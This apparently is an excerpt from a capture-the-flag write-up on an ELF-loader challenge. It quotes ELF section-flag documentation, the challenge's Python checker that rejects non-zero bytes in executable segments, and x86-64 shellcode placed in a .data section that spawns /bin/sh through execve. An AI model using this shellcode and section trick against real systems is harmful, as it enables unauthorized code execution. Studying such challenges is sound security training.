sh_flags Sections support one-bit flags that describe miscellaneous attributes. If a flag bit is set in sh_flags, the attribute is "on" for the section. Otherwise, the attribute is "off" or does not apply. Undefined attributes are set to zero.
SHF_WRITE This section contains data that should be writable during process execution.
SHF_ALLOC This section occupies memory during process execution. Some control sections do not reside in the memory image of an object file. This attribute is off for those sections.
SHF_EXECINSTR This section contains executable machine instructions.
SHF_MASKPROC All bits included in this mask are reserved for processor-specific semantics.
shellcode.asm
1 2 3 4 5 6 7 8 9 10 11 12 13 14
; nasm -f elf64 -o shellcode.o shellcode.asm ; ld shellcode.o -o shellcode section .data global _start _start: mov rax,0x68732f6e69622f push rax push rsp pop rdi push 0x3b pop rax xor esi, esi xor edx, edx syscall
data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!! (almost any)")) elf = parse(data)
if elf.header.e_type != constants.ET_EXEC: print("!!") exit(1)
for segment in elf.segments: if segment.p_flags & SegmentFlags.X: content = elf.content(segment) for byte in content: if byte != 0: print(">:(") exit(1)